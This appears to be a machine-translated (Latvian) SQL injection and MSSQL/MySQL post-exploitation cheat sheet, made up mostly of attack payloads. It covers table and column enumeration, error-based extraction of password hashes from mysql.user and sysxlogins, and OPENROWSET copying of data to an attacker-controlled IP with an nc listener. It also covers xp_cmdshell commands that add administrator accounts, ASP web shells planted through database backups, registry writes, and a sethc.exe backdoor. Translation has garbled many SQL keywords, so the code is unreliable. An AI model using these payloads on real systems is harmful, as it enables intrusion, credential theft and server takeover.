[Iegūt datu tabulas nosaukumu] [Atjauniniet lauka vērtību uz tabulas nosaukumu un pēc tam nolasiet šī lauka vērtību, lai iegūtu tabulas nosaukumu]
Atjaunināt tabulas nosaukumu kopu field=(atlasiet 1. augšējo nosaukumu no sysobjects, kur xtype=u un status>0 [ un nosaukums<>

Iegūtais tabulas nosaukums Atrodiet vienu plus vienu]) [ kur nosacījums] izvēlieties top 1 nosaukumu no sysobjects, kur xtype=u un

statuss>0 un nosaukums nav (tabula1,tabula2,...)
Datu bāzes administratora konta un sistēmas administratora konta izveide _blank> _blank> ievainojamības injekciju, izmantojot SQLSERVER [Pašreizējam kontam jābūt SYSADMIN grupai]

[Iegūt datu tabulas lauka nosaukumu] [Atjauniniet lauka vērtību uz lauka nosaukumu un pēc tam nolasiet šī lauka vērtību, lai iegūtu lauka nosaukumu]
Atjaunināt tabulas nosaukuma kopu lauks=(atlasiet 1. augšējo col_blank>_name(object_blank>_id (vaicājuma datu tabulas nosaukums), lauka kolonna

Piemēram: 1) [ kur nosacījums]

IDS noteikšanas apiešana [mainīgo izmantošana]
; deklarēt @a sysname kopu @a=xp_blank>_+cmdshell exec @a dir c:\
; deklarēt @a sysname kopu @a=xp+_blank>_cm'+'dshell exec @a dir c:\

1. Atveriet attālo _blank> datu bāzi
Pamata sintakse
atlasiet * no OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, izvēlieties * no tabulas1 )
Parametri: (1) OLEDB pakalpojumu sniedzēja nosaukums
2. Savienojuma virknes parametrs var būt jebkurš savienojums, piemēram,
atlasiet * no OPENROWSET(SQLOLEDB, uid=sa; pwd=123; Tīkls = DBMSSOCN; Adrese=192.168.0.1,1433; ,

Izvēlieties * no tabulas
3. Kopējiet visu mērķa resursdatora _blank> datu bāzi un ievietojiet visas attālās tabulas vietējā tabulā.

Pamata sintakse:
ievietot OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, atlasiet * no tabulas1) atlasiet

* no tabulas2
Šis rindas pārskats kopē visus datus no tabulas tabulas2 mērķa resursdatorā uz tabulu table1 attālās _blank> datu bāzē. Atbilstošs remonts praktiskā pielietojumā

Mainiet savienojuma virknes IP adresi un portu, lai norādītu uz nepieciešamo vietu, piemēram:
ievietot OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Tīkls = DBMSSOCN; Adrese=192.168.0.1,1433; ,izvēlieties

* no tabulas1) izvēlieties * no tabulas2
ievietot OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Tīkls = DBMSSOCN; Adrese=192.168.0.1,1433; ,izvēlieties

* no _blank>_sysdatabases)
Izvēlieties * no master.dbo.sysdatabases
ievietot OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Tīkls = DBMSSOCN; Adrese=192.168.0.1,1433; ,izvēlieties

* no _blank>_sysobjects)
Atlasiet * no user_blank>_database.dbo.sysobjects
ievietot OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Tīkls = DBMSSOCN; Adrese=192.168.0.1,1433; ,izvēlieties

* no _blank>_syscolumns)
Atlasiet * no user_blank>_database.dbo.syscolumns
Replicēt _blank> datu bāzi:
ievietot OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Tīkls = DBMSSOCN; Adrese=192.168.0.1,1433; ,izvēlieties

* no tabulas1) izvēlieties * no datu bāzes.. 1. tabula
ievietot OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Tīkls = DBMSSOCN; Adrese=192.168.0.1,1433; ,izvēlieties

* no tabulas2) izvēlieties * no datu bāzes.. 2. tabula

Paroles jaucējkods, kas kopē jaucējtabulas (HASH) pieteikšanās _blank> paroli, tiek glabāts sysxlogins. Tālāk ir aprakstīts, kā to paveikt.
ievietot OPENROWSET(SQLOLEDB,

uid=sa; pwd=123; Tīkls = DBMSSOCN; Adrese=192.168.0.1,1433; ,atlasiet * no _blank>_sysxlogins)

Izvēlieties * no database.dbo.sysxlogins
Kad esat ieguvis hash, jūs varat to brutāli piespiest.

Lai šķērsotu direktoriju: Vispirms izveidojiet pagaidu tabulu: temp
; izveidot tabulu temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); –
; ievietojiet temp exec master.dbo.xp_blank>_availablemedia; - Iegūstiet visus pašreizējos diskus
; ievietot temp(id) exec master.dbo.xp_blank>_subdirs c:\; - Iegūstiet apakšdirektoriju sarakstu
; ievietot temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; - Iegūstiet direktoriju koka struktūru visiem apakšdirektorijiem,

Collu sapludināšana pagaidu tabulā
; ievietot temp(id) exec master.dbo.xp_blank>_cmdshell ierakstiet c:\web\index.asp; - Skatīt failu

Saturs
; ievietot temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\; –
; ievietot temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a; –
; insert in temp(id) exec master.dbo.xp_blank>_cmdshell cscrip{filter}t C:\Inetpub\Adminscrip{filter}ts

\adsutil.vbs uzskaitījums w3svc
; ievietot temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – xp_blank>_dirtree Piemērojamā iestāde

PUBLISKI)
Rakstiet uz tabulu:
1. apgalvojums: un 1=(Atlasiet IS_blank>_SRVROLEMEMBER(sysadmin)); –
2. apgalvojums: un 1=(Atlasiet IS_blank>_SRVROLEMEMBER(serveradmin)); –
3. apgalvojums: un 1=(Atlasiet IS_blank>_SRVROLEMEMBER(setupadmin)); –
4. apgalvojums: un 1=(Atlasiet IS_blank>_SRVROLEMEMBER(securityadmin)); –
5. apgalvojums: un 1=(Atlasiet IS_blank>_SRVROLEMEMBER(securityadmin)); –
6. apgalvojums: un 1=(Izvēlieties IS_blank>_SRVROLEMEMBER(diskadmin)); –
Apgalvojums 7: un 1=(Atlasiet IS_blank>_SRVROLEMEMBER(bulkadmin)); –
Apgalvojums 8: un 1=(Izvēlieties IS_blank>_SRVROLEMEMBER(bulkadmin)); –
9. apgalvojums: un 1=(Izvēlieties IS_blank>_MEMBER(db_blank>_owner)); –

Uzrakstiet ceļu uz tabulu:
; izveidot tabulas dirs(paths varchar(100), id int)-
; Ievietojiet dirs exec master.dbo.xp_blank>_dirtree c:\–
un 0<> (atlasiet 1 labākos ceļus no dirs) -
un 0<>(atlasiet 1 labākos ceļus no dirs, kur ceļi nav (@Inetpub))-
; izveidot tabulas dirs1 (ceļi varchar (100), id int) -
; Ievietojiet dirs exec master.dbo.xp_blank>_dirtree e:\web–
un 0<> (izvēlieties 1 labākos ceļus no dirs1) -

Datu bāzes dublēšana _blank> tīmekļa direktorijā: Lejupielādēt
; deklarēt @a sysname; iestatiet @a=db_blank>_name(); dublēt datu bāzes @a uz disk=e:\web\down.bak; –

un 1=(Atlasīt top 1 nosaukumu no(Atlasīt top 12 id,nosaukumu no sysobjects, kur xtype=char(85)) T

Pasūtījums pēc ID desc)
un 1=(Atlasiet Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) no sysobjects) Skatīt arī

Saistītās tabulas.
un 1=(izvēlieties user_blank>_id no USER_blank>_LOGIN)
un 0=(atlasīt lietotāju no USER_blank>_LOGIN kur lietotājs>1)

-=- wscrip{filter}t.shell piemērs -=-
deklarēt @o int
exec sp_blank>_oacreate wscrip{filter}t.shell, @o out
exec sp_blank>_oamethod @o, run, NULL, notepad.exe
; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,

NULL, notepad.exe–

deklarēt @o int, @f int, @t int, @ret int
deklarēt @line varchar(8000)
exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out
exec sp_blank>_oamethod @o, opentextfile, @f out, c:\boot.ini, 1
exec @ret = sp_blank>_oamethod @f, readline @line out
kamēr ( @ret = 0 )
Sākt
drukāt @line
exec @ret = sp_blank>_oamethod @f, readline @line out
beigas

deklarēt @o int, @f int, @t int, @ret int
exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out
exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1
exec @ret = sp_blank>_oamethod @f, writeline, NULL,
<% set o = server.createobject("wscrip{filter}t.shell"): o.run( request.querystring("cmd") ) %>

deklarēt @o int, @ret int
exec sp_blank>_oacreate speech.voicetext, @o out
exec sp_blank>_oamethod @o, register, NULL, foo, bar
izpildes sp_blank>_oasetproperty @o, ātrums, 150
exec sp_blank>_oamethod @o, runāt, NULL, visi jūsu turpinājuma serveri pieder,mums, 528
Gaidīšanas kavēšanās 00:00:05

; deklarēt @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out exec

sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec

sp_blank>_oamethod @o, runājiet, NULL, visi jūsu turpinājuma serveri pieder mums, 528 gaidīšanas kavēšanās

00:00:05–

xp_blank>_dirtree piemērojamo PUBLISKO atļauju
exec master.dbo.xp_blank>_dirtree c: atgrieztajai informācijai ir divi lauki: apakšdirektorija, dziļums. Apakšdirektoriju lauki

Rakstzīmju tips, dziļuma lauks ir veidošanas lauks.
izveidot tabulas dirs(ceļi varchar(100), id int)
Tabulas veidošana, šeit izveidotā tabula ir saistīta ar iepriekš minēto xp_blank>_dirtree, ar vienādiem laukiem un tādu pašu tipu.
insert dirs exec master.dbo.xp_blank>_dirtree c: Kamēr mēs veidojam tabulu un vienādi definējam glabāšanas procesa atgrieztos laukus

Izpildiet! Lai sasniegtu tabulu rakstīšanas efektu, soli pa solim, lai sasniegtu vēlamo informāciju!
Šī kļūdas injekcija galvenokārt ir balstīta uz MySQL datu tipa pārplūdi
    mysql > SELECT 18446744073709551610 * 2 ;
    KĻŪDA 1690 ( 22003 ): BIGINT UNSIGNED vērtība ir ārpus diapazona '(18446744073709551610 * 2)'

    mysql > SELECT - 1 * 9223372036854775808 ;
    KĻŪDA 1690 ( 22003 ): BIGINT UNSIGNED vērtība ir ārpus diapazona '(- (1) *

9223372036854775808)'
Vaicājumu datu bāzes versija:
    mysql> SELECT * 2 (ja ((SELECT * no (SELECT (versija ()) ) s), 18446744073709551610,

18446744073709551610));
    KĻŪDA 1690 (22003): BIGINT UNSIGNED vērtība ir ārpus diapazona '(2 * if (( Atlasīt ' 5.5 ' no

Dual), 18446744073709551610.18446744073709551610))"
Iegūstiet lauka nosaukumu:
    mysql> SELECT 2 * if((SELECT * from (select * from test.shop) as '' limit 1)>(SELECT * from

test.shop 1. robeža), 18446744073709551610, 18446744073709551610);

    KĻŪDA 1690 (22003): BIGINT UNSIGNED vērtība ir ārpus diapazona '(2 * if(((atlasīt)

'prece','tirgotājs','cena' no (izvēlieties 'test'.'veikals'.'prece'' AS

"prece","tests"."veikals"."tirgotājs" AS "tirgotājs","tests"."veikals"."cena" AS "cena" no

'test'.'shop') ierobežojums 1) > (atlasiet

"tests"."veikals"."prece","tests"."veikals"."tirgotājs","tests"."veikals"."cena" no "tests"."veikals" ierobežojums

1)),18446744073709551610,18446744073709551610))'
Iegūstiet lauka vērtību:

    mysql> SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) kā '' limit 1) <

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),

18446744073709551610, 18446744073709551610);

    KĻŪDA 1690 (22003): BIGINT UNSIGNED vērtība ir ārpus diapazona '(2 * if(((atlasīt)

'localhost','root','*','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y',','Y',','

Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','','0','0','','' NO DIVKĀRŠĀ IEROBEŽOJUMA 1)

<

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2)),184467440

73709551610,18446744073709551610))'

Ņemiet vērā, ka šī metode nedarbojas ar vecākām MySQL versijām, un jums būs jāzina kļūdas ziņojuma garuma ierobežojums, jo tas noteiks

Jūs varat saņemt tik ilgi, cik vēlaties:
    mysys / my_error.c

    /* Maksimālais kļūdas ziņojuma garums. Jāsinhronizē ar MYSQL_ERRMSG_SIZE. */
    #define ERRMSGSIZE (512)

Ja objekts ir MariaDB (MySQL dakša), izmēģinot iepriekš minēto metodi, varat redzēt šādu kļūdas ziņojumu:

    mysql> SELECT 2*(if((SELECT * from (SELECT (version())))s), 18446744073709551610,

18446744073709551610))
    KĻŪDA 1690 (22003): BIGINT UNSIGNED vērtība ir ārpus diapazona '(2 * if((select

#),18446744073709551610,18446744073709551610))'

Kā risinājumu šo problēmu var atrisināt šādā veidā:

    mysql> SELECT (I NAV NULL) - -9223372036854775808 FROM (SELECT (version())i)a;
    KĻŪDA 1690 (22003): BIGINT vērtība ir ārpus diapazona '(('5.5-MariaDB' nav nulle) - -

(9223372036854775808))'
Tagad redzēsim, vai mēs varam padarīt mūsu vektoru nedaudz īsāku

//查询数据库版本

    SELECT 2*(if((SELECT * from (SELECT (version()))s), 18446744073709551610,

18446744073709551610))
    =
    atlasiet 1E308*if((atlasīt*no(atlasīt versiju())x),2,2)

    SELECT (I NAV NULL) - -9223372036854775808 FROM (SELECT (version())i)a
    =
    atlasiet if(x,2,2)*1E308 no(atlasīt versiju()x)y
//获取表字段名称
    SELECT 2 * if((SELECT * no (select * from test.shop) kā '' ierobežojumu 1)>(SELECT * no

test.shop 1. robeža), 18446744073709551610, 18446744073709551610)
    =
    select 1E308*if((select*from(select*from mysql.user)''limit 1)>(select*from mysql.user limit

1),2,2)

//获取字段值

    SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) kā '' limit 1) <

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),

18446744073709551610, 18446744073709551610)
    =
    select 1E308*if((select*from(select*from mysql.user LIMIT 1)''limit 1)<(select*from

mysql.user ierobežojums 0),2,2)
//获取指定字段的值
    atlasiet 1E308*if((atlasīt lietotāju|| saimnieks|| parole|| file_priv from(atlasīt*no mysql.user LIMIT

1)ierobežojums 1),2,2)
//获取字段个数


    atlasiet 1E308*if((atlasīt*no mysql.user 1. ierobežojuma)>(atlasīt 1),2,2)



Dažas citas deformācijas

    SELECT (I NAV NULL) - -9223372036854775808 FROM (SELECT (version())i)a
    atlasiet 1E308*if((atlasīt lietotāju|| saimnieks|| parole|| file_priv from(atlasīt*no mysql.user LIMIT

1)ierobežojums 1),2,2);
    =>
    atlasiet 2*if((atlasīt lietotāju|resursdatoru|paroli|file_priv no(atlasīt*no mysql.user LIMIT 1)ierobežojumu

1),1e308,0);
    mysql> izvēlieties (atlasiet * no mysql.user)=1;
    mysql> izvēlieties (atlasiet * no mysql.user)in(1);

    KĻŪDA 1241 (21000): Operandam jābūt 42 kolonnām(-ām)
    atlasiet 2*if((atlasīt lietotāju|resursdatoru|paroli|file_priv no(atlasīt*no mysql.user LIMIT 1)ierobežojumu

1),1e308,0);
    atlasiet if((atlasīt lietotāju|| saimnieks|| parole|| file_priv no(atlasīt*no mysql.user LIMIT 1)a

robeža 1),2,2)*1E308
    SELECT (I NAV NULL) - -9223372036854775808 FROM (SELECT (version())i)a
    select (x!=0x00)--9223372036854775808 from(SELECT version()x)y
    mysql> select!x-~0.FROM(select+user()x)f;
    KĻŪDA 1690 (22003): BIGINT UNSIGNED vērtība ir ārpus diapazona '((not('root@localhost')) - ~

(0))'
3. Spriediet par datu bāzes sistēmu
; un (atlasiet count(*) no sysobjects)>0 mssql
; un (atlasiet count(*) no msysobjects)>0 access
4. Injekcijas parametrs ir rakstzīme
'un [vaicājuma kritēriji] un ''='
5. Meklēšanas laikā nav filtrētu parametru
'un [vaicājuma kritēriji] un '%25'='
6. Uzminiet datu bāzi
; un (atlasiet Count(*) no [datu bāzes nosaukums])>0
7. Uzminiet lauku
; un (datu bāzes nosaukumā atlasiet Count(lauka nosaukums)>0
8. Uzminiet ieraksta garumu laukā
; un (atlasiet 1. augšējo len (lauka nosaukums) no datu bāzes nosaukuma)>0
9. (1) Uzminiet lauka ASCII vērtību (piekļuve)
; un (atlasiet top 1 asc(mid(lauka nosaukums, 1,1)) no datu bāzes nosaukuma)>0
(2) Uzminiet lauka ASCII vērtību (mssql)
; un (atlasiet top 1 unicode(apakšvirkne(lauka nosaukums, 1,1)) no datu bāzes nosaukuma)>0
10. Testa atļauju struktūra (mssql)
; un 1=(atlasiet IS_SRVROLEMEMBER('sysadmin')); --
; un 1=(atlasiet IS_SRVROLEMEMBER('serveradmin')); --
; un 1=(atlasiet IS_SRVROLEMEMBER('setupadmin')); --
; un 1=(atlasiet IS_SRVROLEMEMBER('securityadmin')); --
; un 1=(atlasiet IS_SRVROLEMEMBER('diskadmin')); --
; un 1=(atlasiet IS_SRVROLEMEMBER('bulkadmin')); --
; un 1=(atlasiet IS_MEMBER('db_owner')); --
11. Pievienojiet kontu mssql un sistēmai
; exec master.dbo.sp_addlogin lietotājvārds; --
; exec master.dbo.sp_password null,lietotājvārds,parole; --
; exec master.dbo.sp_addsrvrolemember sysadmin lietotājvārds; --
; exec master.dbo.xp_cmdshell 'neto lietotāja lietotājvārds parole /workstations:* /times:all

/passwordchg:yes /passwordreq:yes /active:yes /add';--
; exec master.dbo.xp_cmdshell 'neto lietotāja lietotājvārda parole /add'; --
; exec master.dbo.xp_cmdshell 'neto vietējās grupas administratoru lietotājvārds /add'; --
12. (1) Šķērsojiet katalogu
; izveidot tabulas dirs(ceļi varchar(100), id int)
; Ievietojiet dirs exec master.dbo.xp_dirtree 'c:\'
; un (atlasiet 1 populārākos ceļus no dirs)>0
; un (izvēlieties 1 labākos ceļus no dirs, kur ceļi nav ('ceļi, kas iegūti no iepriekšējā soļa'))>)
(2) Šķērsojiet katalogu
; izveidot tabulu temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); --
; ievietojiet temp exec master.dbo.xp_availablemedia; -- Iegūstiet visus pašreizējos diskus
; ievietot temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Iegūt apakšdirektoriju sarakstu
; ievietot temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Iegūstiet direktoriju koka struktūru visiem apakšdirektorijiem
; ievietot temp(id) exec master.dbo.xp_cmdshell 'ierakstiet c:\web\index.asp'; -- Skatīt faila saturu
13. Saglabātās procedūras mssql
xp_regenumvalues reģistra saknes atslēga, bērna atslēga
; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' un daudz ko citu

Ierakstu kopas metode, lai atgrieztu visas atslēgas vērtības
xp_regread Saknes atslēga, bērna atslēga, atslēgas-vērtības nosaukums
; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

\CurrentVersion','CommonFilesDir' atgriež formulējuma atslēgas vērtību
xp_regwrite Saknes atslēga, bērnatslēga, vērtības nosaukums, vērtības tips, vērtība
Ir divu veidu vērtību tipi: REG_SZ REG_DWORD rakstzīmju tipiem un veseliem skaitļiem
; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

\CurrentVersion','TestvalueName','reg_sz','hello' tiek ierakstīti reģistrā
xp_regdeletevalue Saknes atslēga, apakšatslēga, vērtības nosaukums
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

\CurrentVersion', 'TestvalueName', lai noņemtu vērtību
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' dzēšanas atslēga,

Iekļaut visas vērtības zem šīs atslēgas
14. MSSQL dublēšana izveido tīmekļa čaulu
Izmantojiet modeli
izveidot tabulu cmd(str attēls);
ievietojiet cmd(str) vērtības ('<% Dim oscrip{filter}t %>');
dublēt datu bāzes modeli uz disk='c:\l.asp';
15. MSSQL iebūvētās funkcijas
; un (atlasiet @@version)>0, lai iegūtu Windows versijas numuru
; un user_name()='dbo', lai noteiktu, vai pašreizējās sistēmas pievienotais lietotājs ir SA
; un (atlasiet user_name())>0 Eksplodēja pašreizējās sistēmas pievienotos lietotājus
; un (atlasiet db_name())>0, lai iegūtu pašreiz pievienoto datu bāzi
16. Īss tīmekļa apvalks
Izmantojiet modeli
izveidot tabulu cmd(str attēls);
Ievietojiet cmd(str) vērtības ('<%=server.createobject("wscrip{filter}t.shell").exec("cmd.exe /c

"&request("c")).stdout.readall%>');
rezerves datu bāzes modelis uz disk='g:\wwwtest\l.asp';
Pieprasot, izmantojiet kaut ko līdzīgu:
http://ip/l.asp?c=dir
================================================================================================

================================================================================================

================================================================================================

================================================================================================

============================
Iegūstiet visus datu bāzu nosaukumus, ieskaitot sistēmas datu bāzes
–SELECT nosaukumu FROM master.dbo.sysdatabases

Visu ar sistēmu nesaistītu datu bāzu nosaukumu iegūšana
–atlasiet [nosaukums] no master.dbo.sysdatubāzēs, kur DBId>6 Kārtot pēc [nosaukums]

Iegūstiet visu informāciju, ieskaitot datu bāzes faila adresi
–atlasiet * no master.dbo.sysdatubāzēs, kur DBId>6 Order By

[Vārds]



Šis priekšraksta vaicājums atgriež visas lietotāju tabulas

Atlasiet * no sysObjects, kur Xtype='u'


Vaicājiet visu datu tabulas informāciju sistēmā

Atlasiet * no sysObjects



Apskatiet ierīces nosaukumu
Izvēlieties * no sys.servers





Kolonnas satura rādītājs
exec master.dbo.xp_subdirs 'c:\'


exec master.dbo.xp_dirtree 'c:',1,1 db_owner
Atļaujas var tikt īstenotas


exec master.dbo.xp_dirtree 'c:/Program Files',1,1





Programmas kods, rakstīts tīmekļa čaulā


exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
exec sp_makewebtask 'd:

\web\www.XXXX.com\XX.asp','select"<%execute(request("SB"))%>"






izpildīt meistaru .. xp_enumgroups  


Šķērsošanas sistēmas lietotāji


izpildīt meistaru .. xp_getnetname
Pašreizējā datora nosaukuma iegūšana


- Uzskaitiet serverī fiksētos diskus kopā ar pieejamo vietu katram diskam
   DBO PUBLISKAIS


izpildīt

xp_ntsec_enumdomains


--
Izveidojiet kontu, lai pieteiktos MSSQL
exec master.dbo.sp_addlogin vārds, caurlaide; --






--
Servera domēna nosaukuma uzskaitījums
xp_ntsec_enumdomains //
Mašīnas nosaukums //dbo public


--
Pakalpojuma apturēšana vai startēšana
xp_servicecontrol 'stop', 'schedule' //schedule ir pakalpojuma nosaukums //dbo


--Izmantojiet pid

Izpildes programmas apturēšana
xp_terminate_process 123 //123 ir pid //dbo


--
Tiek uzskaitīti tikai direktorija apakšdirektoriji
dbo.xp_subdirs "C:" //dbo


SQL serveris
xp_cmdshell atvēršanas metode 2005. gadā
EXEC sp_configure "rādīt papildu opcijas", 1; PĀRKONFIGURĒT; IZPILDDIREKTORS

sp_configure "xp_cmdshell", 1; PĀRKONFIGURĒT;

SQL2005 Atveriet 'OPENROWSET'
Atbalstītās metodes:
exec sp_configure 'rādīt papildu opcijas', 1; PĀRKONFIGURĒT; exec sp_configure 'Ad Hoc

Izkliedētie vaicājumi",1; PĀRKONFIGURĒT;

SQL2005, lai iespējotu "sp_oacreate" atbalstu, veiciet tālāk norādītās darbības.
exec sp_configure 'rādīt papildu opcijas', 1; PĀRKONFIGURĒT; izpilddirektors

sp_configure "Ole automatizācijas procedūras",1; PĀRKONFIGURĒT





Kā iespējot xp_cmdshell SQL Server 2008


-- Atļaut mainīt papildu opcijas.
IZPILDDIREKTORS

sp_configure "rādīt papildu opcijas", 1
IET
-- Lai atjauninātu pašreiz konfigurēto vērtību

papildu opcijas.
PĀRKONFIGURĒT
IET
-- Lai iespējotu šo funkciju.
EXEC sp_configure 'xp_cmdshell', 1
IET
-- Uz

Atjauniniet šī līdzekļa pašlaik konfigurēto vērtību.
PĀRKONFIGURĒT
IET


exec xp_cmdshell 'ipconfig'



Šodien es gribēju mainīt datu bāzes servera SA pieteikšanās paroli, bet pēkšņi aizmirsu, tāpēc man bija jāatver vaicājumu analizators ar citu kontu palīdzību, lai mainītu SA paroli

Tas ir ļoti vienkārši:


Izpilde:
sp_password Null,'teracypwd,'sa'
Iestatiet SA paroli uz "teracypwd"


Pēc veiksmīgas izpildes

Ir "Komanda (-as) veiksmīgi pabeigta".  LABI!








Db atļaujā atdaliet MSSQL datu bāzes servera IP iegūšanas metodi


1. Vietējais NC klausās NC -VVLP 80


2.; ievietot

OPENROWSET('SQLOLEDB','uid=sa; pwd = xxx; Tīkls = DBMSSOCN; Adrese=tavs ip, 80; ', 'atlasīt * no

dest_table') izvēlieties * no src_table; --


Izvēlieties * no OpenRowSet

('sqloledb','serveris=125.110.145.130,6789; uid=sa; pwd=zhu','atlasīt lietotāju; ')





Datu bāzes importēšana un eksportēšana

/*不同服务器数据库之间的数据操作*/

--Izveidot saišu serveri
exec sp_addlinkedserver   

'ITSV', 'SQLOLEDB', 'Attālā servera nosaukums vai IP adrese'
exec sp_addlinkedsrvlogin 'ITSV', 'false

',null, 'lietotājvārds', 'parole'

--vaicājuma piemērs
atlasiet * no ITSV.database name.dbo.table nosaukuma

--importa piemērs
Izvēlieties *

tabulā no ITSV.databasename.dbo.tablename

--Dzēst saistīto serveri, ja tas vairs netiek izmantots nākotnē
exec sp_dropserver "ITSV",

"Droplogins"

--
Savienojuma izveide ar attālajiem/LAN datiem (openrowset/openquery/opendatasource)
--1、openrowset

--vaicājuma piemērs
Izvēlieties *

no openrowset( 'SQLOLEDB ', 'SQL servera nosaukums '; "Lietotājvārds"; 'parole', datu bāzes nosaukums.dbo.table nosaukums)

--
Lokālās tabulas ģenerēšana
atlasiet * tabulā no openrowset( 'SQLOLEDB ', 'SQL servera nosaukums '; "Lietotājvārds"; "Parole", numurs

Saskaņā ar datu bāzes nosaukumu.dbo. tabulas nosaukums)

--
Lokālās tabulas importēšana attālajā tabulā
insert openrowset( 'SQLOLEDB', 'sql server name'; "Lietotājvārds"; "Paroles", datubāzes

nosaukums.dbo.tabulas nosaukums)
Izvēlieties *no vietējās tabulas

--
Vietējo tabulu atjaunināšana
Atjaunināt B
iestatīt b. kolonna A = a
no openrowset( 'SQLOLEDB ', 'SQL servera nosaukums '; "Lietotājvārds"; '

parole ', datu bāzes nosaukums .dbo.table nosaukums) kā iekšējā savienojuma lokālā tabula b
uz a.kolonna1=b.kolonna1

--openquery
Lietošanai nepieciešams izveidot savienojumu

- Vispirms izveidojiet savienojumu, lai izveidotu saišu serveri
exec sp_addlinkedserver 'ITSV ', ' ',

'SQLOLEDB', 'attālā servera nosaukums vai IP adrese'
--Jautāt
Izvēlieties *
FROM openquery(ITSV, 'SELECT * FROM dati

library.dbo.table nosaukums ')
--
Lokālās tabulas importēšana attālajā tabulā
insert openquery(ITSV, 'SELECT * FROM database.dbo.table name')
Izvēlieties * no vietējā

galds
--atjaunināt lokālo tabulu
Atjaunināt B
set b. kolonna B=a
FROM openquery(ITSV, 'SELECT * FROM database.dbo.tablename')

kā  
iekšējais savienojums vietējā tabula b uz a. kolonna A=b. kolonna A

--3、opendatasource/openrowset
IZVĒLIETIES *
NO   

opendatasource( 'SQLOLEDB ', 'Data Source=ip/ServerName; Lietotāja ID=Lietotājvārds; Parole=Parole '

).test.dbo.roy_ta
--
Lokālās tabulas importēšana attālajā tabulā



xp_cmdshell dzēšana un atjaunošana


Veidi, kā atgūt xp_cmdshell   
Izdzēsiet paplašinātās saglabāšanas procedūras xp_cmdshell

Paziņojums   
exec sp_dropextendedproc 'xp_cmdshell'   



Atgūt cmdshell sql paziņojumu   
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'   


izpilddirektors

master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll'; Izvēlieties count(*) no

master.dbo.sysobjects, kur xtype='x' un   
Atgrieztais rezultāts ir 1, un tas ir OK   


Pretējā gadījumā jums ir jāaugšupielādē c:\inetput\web

\xplog70.dll vēlāk   
exec master.dbo.sp_addextendedproc 'xp_cmdshell','c:\inetput\web\xplog70.dll

’; --   



Ja izdzēšat to šādā veidā   
Pilienu procedūra sp_addextendedproc   
Pilienu procedūra sp_oacreate   
izpilddirektors

sp_dropextendedproc "xp_cmdshell"   



To var atjaunot ar šādu paziņojumu   
dbcc addextendedproc ("sp_oacreate","odsole70.dll")   
dbcc

addextendedproc ("xp_cmdshell","xplog70.dll")   

Tādā veidā to var atjaunot tieši neatkarīgi no tā, vai sp_addextendedproc pastāv vai nav






1、
Izmantojiet xp_cmdshell:
          exec master.dbo.xp_cmdshell "neto lietotāja administratora administrators /add"
          izpilddirektors

master.dbo.xp_cmdshell "neto vietējās grupas administratoru administrators /add"

xp_cmdshell gadījumā izmantojiet sp_oacreate, lai ievērotu sp_oamethod:
          deklarēt @object int   
          izpilddirektors

sp_oacreate 'wscrip{filter}t.Shell', @object out         
          exec sp_oamethod

@object,'Palaist',NULL,'neto lietotāja administratora administrators /pievienot'
          exec sp_oamethod @object,'Palaist',NULL,'net

vietējās grupas administratoru administrators /add'

Piezīme: regsvr32 /s c:\windows\system32\wshom.ocx
Sākt wscrip{filter}t.shell
3、
Izmantojiet sp_oacreate un FSO
          deklarēt @o int
          exec sp_oacreate

'scrip{filter}ting.filesystemobject', @o out
          exec sp_oamethod @o, 'copyfile',null,'c:\windows

\explorer.exe' ,'C:\Windows\System32\sethc.exe';
          deklarēt @oo int
          izpilddirektors

sp_oacreate 'scrip{filtering}ting.filesystemobject', @oo out
          izpilddirektors sp_oamethod @oo,

'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';

